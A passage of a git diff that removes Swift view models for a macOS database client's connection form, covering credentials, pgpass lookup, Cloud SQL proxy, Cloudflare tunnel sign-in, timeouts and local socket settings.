badPermissions + case matchFound + case noMatch + + static func check(host: String, port: Int, database: String, username: String) -> PgpassStatus { + guard PgpassReader.fileExists() else { return .fileNotFound } + guard PgpassReader.filePermissionsAreValid() else { return .badPermissions } + if PgpassReader.resolve(host: host, port: port, database: database, username: username) != nil { + return .matchFound + } + return .noMatch + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Support/PluginFieldRendering.swift b/apple/TablePro/Views/ConnectionForm/Support/PluginFieldRendering.swift deleted file mode 100644 index a3d1e19420..0000000000 --- a/apple/TablePro/Views/ConnectionForm/Support/PluginFieldRendering.swift +++ /dev/null @@ -1,37 +0,0 @@ -// -// PluginFieldRendering.swift -// TablePro -// - -import Foundation -import TableProPluginKit - -@MainActor -enum PluginFieldRendering { - static func visibleFields( - for type: DatabaseType, - section: FieldSection, - values: [String: String] - ) -> [ConnectionField] { - let fields = PluginManager.shared.additionalConnectionFields(for: type) - .filter { $0.section == section } - return fields.filter { isFieldVisible($0, type: type, values: values) } - } - - static func isFieldVisible( - _ field: ConnectionField, - type: DatabaseType, - values: [String: String] - ) -> Bool { - PluginManager.shared.additionalConnectionFields(for: type) - .isVisible(field, forValues: values) - } - - static func defaultFieldValue( - for fieldId: String, - type: DatabaseType - ) -> String { - let registry = PluginManager.shared.additionalConnectionFields(for: type) - return registry.first { $0.id == fieldId }?.defaultValue ?? "" - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/AIRulesPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/AIRulesPaneViewModel.swift deleted file mode 100644 index acad00c3e8..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/AIRulesPaneViewModel.swift +++ /dev/null @@ -1,23 +0,0 @@ -// -// AIRulesPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation - -@MainActor -final class AIRulesPaneViewModel: ObservableObject { - @Published var rules: String = "" - - @Published var coordinator: WeakCoordinatorRef? - - func load(from connection: DatabaseConnection) { - rules = connection.aiRules ?? "" - } - - var trimmedRules: String? { - let trimmed = rules.trimmingCharacters(in: .whitespacesAndNewlines) - return trimmed.isEmpty ? nil : rules - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/AdvancedPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/AdvancedPaneViewModel.swift deleted file mode 100644 index a0bad8af07..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/AdvancedPaneViewModel.swift +++ /dev/null @@ -1,153 +0,0 @@ -// -// AdvancedPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import TableProPluginKit -import TableProRedisCore - -@MainActor -final class AdvancedPaneViewModel: ObservableObject { - @Published var additionalFieldValues: [String: String] = [:] - @Published var startupCommands: String = "" - @Published var preConnectScript: String = "" - @Published var postDisconnectScript: String = "" - @Published var scriptTimeoutSeconds: Int? - @Published var externalAccess: ExternalAccessLevel = .readOnly - @Published var localOnly: Bool = false - @Published var aiPolicy: AIConnectionPolicy? - @Published private(set) var aiAlwaysAllowedTools: [String] = [] - @Published private(set) var revokedAIAlwaysAllowedTools: Set = [] - - @Published var coordinator: WeakCoordinatorRef? - - /// The extensions the connection held when the form opened. Only what the person adds or changes - /// here counts as approved on this Mac, so saving an imported connection without touching its - /// list approves nothing. - private(set) var initialExtensions: [LoadableExtension] = [] - - var advancedFields: [ConnectionField] { - allAdvancedFields.filter { $0.content == .plain } - } - - /// The extension list the form shows for this type and these values, if any. - var extensionListField: ConnectionField? { - allAdvancedFields.first { $0.content == .loadableExtensions && isFieldVisible($0) } - } - - var attachedDatabaseListField: ConnectionField? { - allAdvancedFields.first { $0.content == .attachedDatabases && isFieldVisible($0) } - } - - var editedExtensions: [LoadableExtension] { - let initial = Set(initialExtensions) - return currentExtensions.filter { !initial.contains($0) } - } - - var validationIssues: [String] { - var issues: [String] = coordinator?.value?.presentation.validationIssues(in: .advanced) ?? [] - if let extensionIssue { - issues.append(extensionIssue) - } - if let attachedDatabaseIssue { - issues.append(attachedDatabaseIssue) - } - if let scriptTimeoutSeconds, !ConnectionScriptRunner.timeoutSecondsRange.contains(scriptTimeoutSeconds) { - issues.append(String(localized: "Script timeout must be between 1 and 300 seconds.")) - } - return issues - } - - private var allAdvancedFields: [ConnectionField] { - guard let type = coordinator?.value?.network.type else { return [] } - return PluginManager.shared.additionalConnectionFields(for: type) - .filter { $0.section == .advanced } - } - - private var currentExtensions: [LoadableExtension] { - guard let field = extensionListField else { return [] } - return (try? LoadableExtensionList.decode(additionalFieldValues[field.id])) ?? [] - } - - private var attachedDatabaseIssue: String? { - guard let field = attachedDatabaseListField else { return nil } - do { - try AttachedDatabaseList.validate(AttachedDatabaseList.decode(additionalFieldValues[field.id])) - return nil - } catch let error as AttachedDatabaseError { - return error.failureReason - } catch { - return error.localizedDescription - } - } - - private var extensionIssue: String? { - do { - try LoadableExtensionPreflight.validate(currentExtensions) - return nil - } catch let error as LoadableExtensionError { - return error.failureReason - } catch { - return error.localizedDescription - } - } - - func isFieldVisible(_ field: ConnectionField) -> Bool { - let type = coordinator?.value?.network.type ?? .mysql - let values = coordinator?.value?.allAdditionalFieldValues ?? additionalFieldValues - return PluginFieldRendering.isFieldVisible(field, type: type, values: values) - } - - func resetForType(_ newType: DatabaseType) { - var values: [String: String] = [:] - for field in PluginManager.shared.additionalConnectionFields(for: newType) - where field.section == .advanced - { - if let defaultValue = field.defaultValue { - values[field.id] = defaultValue - } - } - additionalFieldValues = values - } - - func load(from connection: DatabaseConnection) { - var values: [String: String] = [:] - let allFields = PluginManager.shared.additionalConnectionFields(for: connection.type) - for field in allFields where field.section == .advanced { - if let value = connection.additionalFields[field.id] { - values[field.id] = value - } else if let defaultValue = field.defaultValue { - values[field.id] = defaultValue - } - } - if allFields.contains(where: { $0.id == RedisDatabaseIndex.fieldName && $0.section == .advanced }) { - values[RedisDatabaseIndex.fieldName] = String(connection.configuredRedisDatabaseIndex) - } - additionalFieldValues = values - initialExtensions = allFields - .filter { $0.content == .loadableExtensions } - .flatMap { (try? LoadableExtensionList.decode(connection.additionalFields[$0.id])) ?? [] } - startupCommands = connection.startupCommands ?? "" - preConnectScript = connection.preConnectScript ?? "" - postDisconnectScript = connection.postDisconnectScript ?? "" - scriptTimeoutSeconds = connection.scriptTimeoutSeconds - aiPolicy = connection.aiPolicy - aiAlwaysAllowedTools = connection.aiAlwaysAllowedTools.sorted() - revokedAIAlwaysAllowedTools = [] - externalAccess = connection.externalAccess - localOnly = connection.localOnly - } - - func forgetAlwaysAllowed(_ tool: String) { - aiAlwaysAllowedTools.removeAll { $0 == tool } - revokedAIAlwaysAllowedTools.insert(tool) - } - - func write(into fields: inout [String: String]) { - for (key, value) in additionalFieldValues { - fields[key] = value - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/AuthPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/AuthPaneViewModel.swift deleted file mode 100644 index 22977032be..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/AuthPaneViewModel.swift +++ /dev/null @@ -1,257 +0,0 @@ -// -// AuthPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import TableProPluginKit -import TableProUtilities - -enum PgpassStatus { - case notChecked - case fileNotFound - case badPermissions - case matchFound - case noMatch - - static func check(host: String, port: Int, database: String, username: String) -> PgpassStatus { - guard PgpassReader.fileExists() else { return .fileNotFound } - guard PgpassReader.filePermissionsAreValid() else { return .badPermissions } - if PgpassReader.resolve(host: host, port: port, database: database, username: username) != nil { - return .matchFound - } - return .noMatch - } -} - -@MainActor -final class AuthPaneViewModel: ObservableObject { - @Published var username: String = "" - @Published var password: String = "" - @Published var promptForPassword: Bool = false - @Published var additionalFieldValues: [String: String] = [:] - @Published var pgpassStatus: PgpassStatus = .notChecked - - /// Which credentials this connection signs in with: its own, or a named profile shared with - /// every other connection pointing at the same one. - @Published var credentialMode: CredentialMode = .inline - @Published var credentialProfiles: [CredentialProfile] = [] - - /// What the keychain held when the form opened. An empty password field means the user cleared - /// it only if there was something to clear and the read succeeded. - @Published private(set) var storedPasswordState: ConnectionStorage.StoredSecretState = .absent - - // Lives only in connections.json: the form shows and tests it, never edits it. - @Published private(set) var passwordSource: PasswordSource? - - @Published var coordinator: WeakCoordinatorRef? - - var authFields: [ConnectionField] { - guard let type = coordinator?.value?.network.type else { return [] } - return PluginManager.shared.additionalConnectionFields(for: type) - .filter { $0.section == .authentication } - } - - var resolvedUsername: String { - username.trimmingCharacters(in: .whitespaces) - } - - var hidesBuiltInPassword: Bool { - guard let type = coordinator?.value?.network.type else { return false } - return PluginMetadataRegistry.shared.snapshot(for: type)? - .connection.hidesBuiltInPassword ?? false - } - - // Read against the merged values, not this pane's slice: a password-hiding auth field gated by a - // field in another section (Redis Sentinel) resolves its controller only in the merged dict. - var hidesPassword: Bool { - guard let coordinator = coordinator?.value else { - return hidesBuiltInPassword || authFields.hidesPassword(forValues: additionalFieldValues) - } - return coordinator.presentation.hidesPassword - } - - var hidesUsername: Bool { - guard let coordinator = coordinator?.value else { - return authFields.hidesUsername(forValues: additionalFieldValues) - } - return coordinator.presentation.hidesUsername - } - - var effectivePromptForPassword: Bool { - promptForPassword && !hidesPassword - } - - /// The user emptied a password field that had one in it. Saving then has to delete the stored - /// secret: leaving it behind means the next connect still authenticates with the old password, - /// an encrypted export still carries it, and a duplicate copies it. - var clearsStoredPassword: Bool { - !usesCredentialProfile && !effectivePromptForPassword && password.isEmpty && storedPasswordState == .stored - } - - var usesCredentialProfile: Bool { credentialMode.profileId != nil } - - // A prompt arrives as an override and a linked profile is resolved first, so either one leaves the source unused. - var passwordSourceInUse: PasswordSource? { - usesCredentialProfile || effectivePromptForPassword ? nil : passwordSource - } - - /// Enough to make a profile out of. A password-only engine such as Redis has no username, so - /// requiring one hid the promotion exactly where it was most useful. - var hasPromotableCredentials: Bool { - !resolvedUsername.isEmpty || !password.isEmpty || effectivePromptForPassword || passwordSource != nil - } - - var selectedCredentialProfile: CredentialProfile? { - guard let id = credentialMode.profileId else { return nil } - return credentialProfiles.first { $0.id == id } - } - - /// The connection points at a profile this Mac does not have, which an import or a sync that - /// has not caught up can both produce. - var credentialProfileIsMissing: Bool { - usesCredentialProfile && selectedCredentialProfile == nil - } - - @Published var isSavingCredentialsAsProfile = false - - func loadCredentialProfiles() { - credentialProfiles = CredentialProfileStorage.shared.loadProfiles() - } - - /// Re-reads the profiles after they changed elsewhere, and drops a selection whose profile is - /// gone. Storage has already given this connection those credentials inline, so keeping the - /// dead id would write it back on the next save and undo that. - func reconcileCredentialProfiles() { - let storage = CredentialProfileStorage.shared - credentialProfiles = storage.loadProfiles() - guard !storage.lastLoadFailed, - let id = credentialMode.profileId, - !credentialProfiles.contains(where: { $0.id == id }) - else { return } - credentialMode = .inline - if let refreshed = coordinator?.value?.storage.loadConnection(id: coordinator?.value?.connectionId ?? UUID()) { - username = refreshed.username - promptForPassword = refreshed.promptForPassword - passwordSource = refreshed.passwordSource - storedPasswordState = coordinator?.value?.storage.passwordState(for: refreshed.id) ?? .absent - password = coordinator?.value?.storage.loadPassword(for: refreshed.id) ?? "" - } - } - - // Promoting what is already filled in beats making the user retype it. - func profileFromCurrentCredentials(sourceStoreIsTrusted: Bool) -> CredentialProfile { - CredentialProfile( - name: "", - username: resolvedUsername, - passwordMode: promotedPasswordMode(sourceStoreIsTrusted: sourceStoreIsTrusted) - ) - } - - // Same order as a connect resolves them. A source leaves only a file TablePro last wrote, as in `unlinkConnections`. - private func promotedPasswordMode(sourceStoreIsTrusted: Bool) -> CredentialPasswordMode { - if effectivePromptForPassword { return .prompt } - if let passwordSource { - return sourceStoreIsTrusted ? .source(passwordSource) : .prompt - } - if usePgpass { return .pgpass } - return .stored - } - - var usePgpass: Bool { - additionalFieldValues["usePgpass"] == "true" - } - - /// A linked profile hides its own fields and supplies them at connect, so requiring the - /// connection's empty copy would leave Save disabled with nothing on screen to fix. - var validationIssues: [String] { - guard let coordinator = coordinator?.value else { return [] } - let profileFieldIds = Set(selectedCredentialProfile?.secureFieldIds ?? []) - return coordinator.presentation.validationIssues(in: .authentication, excludingRequired: profileFieldIds) - } - - func isFieldVisible(_ field: ConnectionField) -> Bool { - let type = coordinator?.value?.network.type ?? .mysql - let values = coordinator?.value?.allAdditionalFieldValues ?? additionalFieldValues - return PluginFieldRendering.isFieldVisible(field, type: type, values: values) - } - - func resetForType(_ newType: DatabaseType) { - var values: [String: String] = [:] - for field in PluginManager.shared.additionalConnectionFields(for: newType) - where field.section == .authentication - { - if let defaultValue = field.defaultValue { - values[field.id] = defaultValue - } - } - additionalFieldValues = values - pgpassStatus = .notChecked - } - - func load(from connection: DatabaseConnection, storage: ConnectionStorage) { - username = connection.username - promptForPassword = connection.promptForPassword - passwordSource = connection.passwordSource - credentialMode = connection.credentialMode - loadCredentialProfiles() - - var values: [String: String] = [:] - let allFields = PluginManager.shared.additionalConnectionFields(for: connection.type) - for field in allFields where field.section == .authentication { - if let value = connection.additionalFields[field.id] { - values[field.id] = value - } else if let defaultValue = field.defaultValue { - values[field.id] = defaultValue - } - } - for field in allFields where field.section == .authentication && field.isSecure { - if let secureValue = storage.loadPluginSecureField(fieldId: field.id, for: connection.id) { - values[field.id] = secureValue - } - } - if connection.type.pluginTypeId == "DuckDB", - (values["duckdbFilePath"] ?? "").isEmpty, - !connection.database.isEmpty { - values["duckdbFilePath"] = connection.database - } - - additionalFieldValues = values - - storedPasswordState = storage.passwordState(for: connection.id) - if let savedPassword = storage.loadPassword(for: connection.id) { - password = savedPassword - } - } - - func write(into fields: inout [String: String]) { - for (key, value) in additionalFieldValues { - fields[key] = value - } - } - - var pgpassLookup: PgpassLookup? { - guard usePgpass, let network = coordinator?.value?.network else { return nil } - let endpoint = network.pgpassEndpoint - return PgpassLookup( - host: endpoint.host, - port: endpoint.port, - database: network.database, - username: PgpassReader.effectiveUsername(resolvedUsername) - ) - } - - func updatePgpassStatus() { - guard let lookup = pgpassLookup else { - pgpassStatus = .notChecked - return - } - pgpassStatus = PgpassStatus.check( - host: lookup.host, - port: lookup.port, - database: lookup.database, - username: lookup.username - ) - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/CloudSQLProxyPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/CloudSQLProxyPaneViewModel.swift deleted file mode 100644 index 1ee9fddefa..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/CloudSQLProxyPaneViewModel.swift +++ /dev/null @@ -1,105 +0,0 @@ -// -// CloudSQLProxyPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation - -@MainActor -final class CloudSQLProxyPaneViewModel: ObservableObject { - @Published var state = CloudSQLProxyFormState() - - @Published var coordinator: WeakCoordinatorRef? - - @Published var resolvedBinaryPath: String? - @Published var didResolveBinary: Bool = false - - let download: CloudSQLProxyDownload - private var downloadObservation: AnyCancellable? - private var wasDownloading = false - - init(download: CloudSQLProxyDownload = .shared) { - self.download = download - // A connect or a Test Connection can download the binary too, so this follows the shared state. - downloadObservation = download.$phase.sink { [weak self] phase in - guard let self else { return } - objectWillChange.send() - if phase == .idle, wasDownloading { - resolveBinary() - } - wasDownloading = phase.isDownloading - } - } - - var downloadPhase: CloudSQLProxyDownload.Phase { download.phase } - - var isDownloading: Bool { download.phase.isDownloading } - - var validationIssues: [String] { - guard state.enabled else { return [] } - var issues: [String] = [] - - if !state.buildConfig().isValid { - issues.append(String(localized: "Instance connection name must be project:region:instance")) - } - - if !state.automaticPort { - let portIsValid = Int(state.localPort).map { (1...65_535).contains($0) } ?? false - if !portIsValid { - issues.append(String(localized: "Local port must be between 1 and 65535")) - } - } - - if state.authMode == .serviceAccountKey, - state.serviceAccountKeyJSON.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty { - issues.append(String(localized: "A service account key is required")) - } - - return issues - } - - func load(from connection: DatabaseConnection, storage: ConnectionStorage) { - state.load(from: connection) - state.serviceAccountKeyJSON = storage.loadCloudSQLProxyServiceAccountKey(for: connection.id) ?? "" - resolveBinary() - } - - func save(to connectionId: UUID, storage: ConnectionStorage) { - guard state.enabled, state.authMode == .serviceAccountKey, - !state.serviceAccountKeyJSON.trimmingCharacters(in: .whitespacesAndNewlines).isEmpty else { - storage.deleteCloudSQLProxyServiceAccountKey(for: connectionId) - return - } - storage.saveCloudSQLProxyServiceAccountKey(state.serviceAccountKeyJSON, for: connectionId) - } - - internal var binaryNotFoundMessage: String { - String( - localized: "cloud-sql-proxy not found. Install it with “brew install cloud-sql-proxy”, download it above, or choose the binary." - ) - } - - func resolveBinary() { - let binaryManager = download.binaryManager - Task { - let found = await Task.detached { CLIExecutableFinder.findExecutable("cloud-sql-proxy") }.value - if let found { - resolvedBinaryPath = found - } else { - resolvedBinaryPath = await binaryManager.installedBinaryIsCurrent() - ? binaryManager.binaryExecutablePath - : nil - } - didResolveBinary = true - } - } - - func downloadBinary() { - download.start() - } - - func cancelDownload() { - download.cancel() - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/CloudflareTunnelPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/CloudflareTunnelPaneViewModel.swift deleted file mode 100644 index 016e5f0339..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/CloudflareTunnelPaneViewModel.swift +++ /dev/null @@ -1,136 +0,0 @@ -// -// CloudflareTunnelPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import os -import TableProProcess - -@MainActor -final class CloudflareTunnelPaneViewModel: ObservableObject { - nonisolated private static let logger = Logger(subsystem: "com.TablePro", category: "CloudflareTunnelPane") - - @Published var state = CloudflareTunnelFormState() - - @Published var coordinator: WeakCoordinatorRef? - - @Published var resolvedBinaryPath: String? - @Published var didResolveBinary: Bool = false - @Published var signInError: String? - - private var loginProcess: Process? - - var validationIssues: [String] { - guard state.enabled else { return [] } - var issues: [String] = [] - - if state.accessHostname.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "Cloudflare hostname is required")) - } - - if !state.automaticPort { - let portIsValid = Int(state.localPort).map { (1...65_535).contains($0) } ?? false - if !portIsValid { - issues.append(String(localized: "Local port must be between 1 and 65535")) - } - } - - if state.authMethod == .serviceToken { - if state.serviceTokenId.trimmingCharacters(in: .whitespaces).isEmpty - || state.serviceTokenSecret.trimmingCharacters(in: .whitespaces).isEmpty { - issues.append(String(localized: "Service token ID and secret are required")) - } - } - - return issues - } - - func load(from connection: DatabaseConnection, storage: ConnectionStorage) { - state.load(from: connection) - state.serviceTokenId = storage.loadCloudflareTokenId(for: connection.id) ?? "" - state.serviceTokenSecret = storage.loadCloudflareTokenSecret(for: connection.id) ?? "" - resolveBinary() - } - - func save(to connectionId: UUID, storage: ConnectionStorage) { - guard state.enabled, state.authMethod == .serviceToken else { - storage.deleteCloudflareTokenId(for: connectionId) - storage.deleteCloudflareTokenSecret(for: connectionId) - return - } - storage.saveCloudflareTokenId(state.serviceTokenId, for: connectionId) - storage.saveCloudflareTokenSecret(state.serviceTokenSecret, for: connectionId) - } - - internal var binaryNotFoundMessage: String { - String(localized: "cloudflared not found. Install it with “brew install cloudflared”, or choose the binary above.") - } - - func resolveBinary() { - Task { - let path = await Task.detached { CLIExecutableFinder.findExecutable("cloudflared") }.value - resolvedBinaryPath = path - didResolveBinary = true - } - } - - func signInWithBrowser() { - signInError = nil - guard loginProcess?.isRunning != true else { return } - - let hostname = state.accessHostname.trimmingCharacters(in: .whitespacesAndNewlines) - guard !hostname.isEmpty else { return } - // A bare operand: cloudflared would read a dash-led hostname as an option. - let refused = CharacterSet.whitespacesAndNewlines.union(.controlCharacters) - guard !hostname.hasPrefix("-"), !hostname.unicodeScalars.contains(where: { refused.contains($0) }) else { - signInError = String( - localized: "The Cloudflare hostname cannot start with a dash or contain spaces or control characters." - ) - return - } - - let rawPath = state.binaryPath.isEmpty ? resolvedBinaryPath : state.binaryPath - guard let resolvedPath = rawPath.map({ ($0 as NSString).expandingTildeInPath }), - FileManager.default.isExecutableFile(atPath: resolvedPath) else { - signInError = String(localized: "cloudflared was not found. Set its path below first.") - return - } - - let process: Process - do { - process = try ProcessLauncher.process(for: ProcessCommand( - executable: URL(fileURLWithPath: resolvedPath), - arguments: ["access", "login", hostname], - environment: ProcessEnvironment.inherited() - )) - } catch { - signInError = error.localizedDescription - return - } - // Reap the child and surface a failed login: a non-zero exit left no feedback before, and the - // finished process was held until the next sign-in. - process.terminationHandler = { [weak self] finished in - let status = finished.terminationStatus - Task { @MainActor in - guard let self else { return } - self.loginProcess = nil - if status != 0 { - self.signInError = String( - localized: "cloudflared sign-in did not complete. Check the hostname and your Cloudflare Access app, then try again." - ) - Self.logger.error("cloudflared access login exited \(status, privacy: .public)") - } - } - } - do { - try process.run() - loginProcess = process - Self.logger.info("Started cloudflared access login for \(hostname, privacy: .private(mask: .hash))") - } catch { - signInError = error.localizedDescription - Self.logger.error("cloudflared access login failed to start: \(error.publicLogShape, privacy: .public)") - } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/CustomizationPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/CustomizationPaneViewModel.swift deleted file mode 100644 index c23e7c1e65..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/CustomizationPaneViewModel.swift +++ /dev/null @@ -1,61 +0,0 @@ -// -// CustomizationPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import TableProAutocomplete -import TableProConnectionLibrary - -@MainActor -final class CustomizationPaneViewModel: ObservableObject { - @Published var color: ConnectionColor = .none - @Published var iconName: String? - @Published var tagIds: [UUID] = [] - @Published var groupId: UUID? - @Published var safeModeLevel: SafeModeLevel = .silent - @Published var connectTimeoutSeconds: Int? - @Published var queryTimeoutSeconds: Int? - @Published var binaryInlineLimitKilobytes: Int? - @Published var completionIdentifierCase: SQLIdentifierCase = .default - @Published var commitMode: ConnectionCommitMode = .automatic - @Published var environment: ConnectionEnvironment = .none - - @Published var coordinator: WeakCoordinatorRef? - - var validationIssues: [String] { - var issues: [String] = [] - if let connectTimeoutSeconds, - !ConnectionTimeoutPolicy.connectTimeoutRange.contains(connectTimeoutSeconds) - { - issues.append(String(localized: "Connect timeout must be between 1 and 600 seconds.")) - } - if let queryTimeoutSeconds, - !DatabaseConnection.queryTimeoutSecondsRange.contains(queryTimeoutSeconds) - { - issues.append(String(localized: "Query timeout must be between 0 and 2,147,483 seconds.")) - } - if let binaryInlineLimitKilobytes, - !DatabaseConnection.binaryInlineLimitKilobytesRange.contains(binaryInlineLimitKilobytes) - { - issues.append(String(localized: "Binary values limit must be between 1 and 1,048,576 KB.")) - } - return issues - } - - func load(from connection: DatabaseConnection) { - color = connection.color - iconName = LibrarySymbolCatalog.normalizedName(connection.iconName) - tagIds = connection.tagIds - groupId = connection.groupId - safeModeLevel = connection.preferredSafeModeLevel - connectTimeoutSeconds = connection.connectTimeoutSeconds - queryTimeoutSeconds = connection.queryTimeoutSeconds - binaryInlineLimitKilobytes = connection.binaryInlineLimitKilobytes - completionIdentifierCase = connection.completionIdentifierCase - commitMode = connection.commitMode - environment = connection.additionalFields[ConnectionEnvironment.fieldKey] - .flatMap(ConnectionEnvironment.init(rawValue:)) ?? .none - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/MaskingRulesPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/MaskingRulesPaneViewModel.swift deleted file mode 100644 index f09d004a4d..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/MaskingRulesPaneViewModel.swift +++ /dev/null @@ -1,35 +0,0 @@ -// -// MaskingRulesPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation - -@MainActor -final class MaskingRulesPaneViewModel: ObservableObject { - @Published var rules: [MaskingRule] = [] - - @Published var coordinator: WeakCoordinatorRef? - - func load(from connection: DatabaseConnection) { - rules = connection.maskingRules - } - - func addRule() { - rules.append(MaskingRule(pattern: "")) - } - - func removeRule(id: UUID) { - rules.removeAll { $0.id == id } - } - - func update(_ rule: MaskingRule) { - guard let index = rules.firstIndex(where: { $0.id == rule.id }) else { return } - rules[index] = rule - } - - var savedRules: [MaskingRule] { - rules.filter { !$0.trimmedPattern.isEmpty } - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel+LocalSocket.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel+LocalSocket.swift deleted file mode 100644 index 0bfda7636f..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel+LocalSocket.swift +++ /dev/null @@ -1,80 +0,0 @@ -// -// NetworkPaneViewModel+LocalSocket.swift -// TablePro -// - -import Foundation - -enum LocalSocketFileStatus: Equatable { - case missing - case notSocket - case socket -} - -extension NetworkPaneViewModel { - var supportsLocalSocket: Bool { - PluginManager.shared.defaultLocalSocketPath(for: type) != nil - } - - var usesLocalSocket: Bool { - supportsLocalSocket && endpoint == .localSocket - } - - var localSocketIsDirectory: Bool { - type.localSocketIsDirectory - } - - var localSocketSkipsTLS: Bool { - usesLocalSocket && localSocketIsDirectory - } - - var localSocketPrompt: String { - PluginManager.shared.defaultLocalSocketPath(for: type) ?? MySQLLocalSocket.defaultPath - } - - var localSocketSuggestions: [String] { - localSocketIsDirectory ? PostgreSQLLocalSocket.commonDirectories : [] - } - - // The driver hands the path to connect(2) unchanged, so `~` is expanded here. - var resolvedLocalSocketPath: String? { - let trimmed = localSocketPath.trimmingCharacters(in: .whitespacesAndNewlines) - guard !trimmed.isEmpty else { return nil } - return (trimmed as NSString).expandingTildeInPath - } - - var resolvedLocalSocketEndpoint: LocalSocketEndpoint? { - guard usesLocalSocket, let path = resolvedLocalSocketPath else { return nil } - return LocalSocketEndpoint(path: path, port: resolvedPort, type: type) - } - - var pgpassEndpoint: (host: String, port: Int) { - if localSocketIsDirectory, let socket = resolvedLocalSocketEndpoint { - return (PostgreSQLLocalSocket.pgpassHost(forHost: socket.path), socket.port) - } - return (PostgreSQLLocalSocket.pgpassHost(forHost: resolvedHost), resolvedPort) - } - - var localSocketIssues: [String] { - guard usesLocalSocket else { return [] } - guard let endpoint = resolvedLocalSocketEndpoint else { - return [String(format: String(localized: "%@ is required"), String(localized: "Socket"))] - } - return endpoint.issue.map { [$0] } ?? [] - } - - // Advisory only: the server may start after the connection is saved. - var localSocketFileStatus: LocalSocketFileStatus? { - guard let endpoint = resolvedLocalSocketEndpoint, endpoint.issue == nil else { return nil } - return Self.localSocketFileStatus(atPath: endpoint.socketFile) - } - - // stat, not attributesOfItem, which reports a symlink to the socket as a symlink. - nonisolated static func localSocketFileStatus(atPath path: String) -> LocalSocketFileStatus? { - var info = stat() - guard stat(path, &info) == 0 else { - return errno == ENOENT || errno == ENOTDIR ? .missing : nil - } - return info.st_mode & S_IFMT == S_IFSOCK ? .socket : .notSocket - } -} diff --git a/apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel.swift b/apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel.swift deleted file mode 100644 index 2c6cec578e..0000000000 --- a/apple/TablePro/Views/ConnectionForm/ViewModels/NetworkPaneViewModel.swift +++ /dev/null @@ -1,278 +0,0 @@ -// -// NetworkPaneViewModel.swift -// TablePro -// - -import Combine -import Foundation -import Network -import TableProConnectionLibrary -import TableProPluginKit - -@MainActor -final class NetworkPaneViewModel: ObservableObject { - enum Endpoint: Hashable { - case hostAndPort - case localSocket - } - - @Published var name: String = "" - @Published var type: DatabaseType = .mysql - @Published var host: String = "" - @Published var port: String = "" - @Published var database: String = "" - @Published var sshForwardUnixSocketPath: String = "" - @Published var endpoint: Endpoint = .hostAndPort - @Published var localSocketPath: String = "" - @Published var additionalFieldValues: [String: String] = [:] - - @Published var coordinator: WeakCoordinatorRef? - - var forwardsToUnixSocket: Bool { - !sshForwardUnixSocketPath.trimmingCharacters(in: .whitespaces).isEmpty - } - - var connectionMode: ConnectionMode { - PluginManager.shared.connectionMode(for: type) - } - - var connectionFields: [ConnectionField] { - PluginManager.shared.additionalConnectionFields(for: type) - .filter { $0.section == .connection } - } - - var hasHostListField: Bool { - connectionFields.contains { field in - guard case .hostList = field.fieldType else { return false } - return isFieldVisible(field) - } - } - - var defaultPort: String { - let port = type.defaultPort - return port == 0 ? "" : String(port) - } - - private var firstVisibleHostListFieldId: String? { - connectionFields.first { field in - guard case .hostList = field.fieldType else { return false } - return isFieldVisible(field) - }?.id - } - - internal var tunnelHostListCaption: String? { - guard let fieldId = firstVisibleHostListFieldId else { return nil } - if fieldId == "redisSentinelHosts" { - return String( - localized: "Sentinel mode cannot run through a tunnel. Set Connection Mode to Standalone and enter a data node, or turn the tunnel off." - ) - } - if fieldId == "redisClusterHosts" { - return String( - localized: "TablePro connects to the first node over a tunnel, as a single server. Keys on other nodes cannot be reached." - ) - } - guard (additionalFieldValues[fieldId] ?? "").contains(",") else { return nil } - switch fieldId { - case "mongoHosts": - return String(localized: "TablePro connects to the first host over a tunnel. Replica set failover is not available.") - case "kafkaBootstrapServers": - return String( - localized: "TablePro connects to the first broker over a tunnel. Partitions led by other brokers cannot be read." - ) - default: - return String(localized: "TablePro connects to the first host over a tunnel. The other hosts are not used.") - } - } - - var socketPathPrompt: String { - PluginManager.shared.defaultUnixSocketPath(for: type) ?? "/path/to/database.sock" - } - - var resolvedHost: String { - host.trimmingCharacters(in: .whitespaces).isEmpty ? (type.defaultHost ?? "localhost") : host - } - - var resolvedPort: Int { - Int(port) ?? type.defaultPort - } - - // Kerberos service principals are not registered against IP addresses, so a Kerberos sign-in - // warns when the host is one. - var resolvedHostIsIPAddress: Bool { - let host = 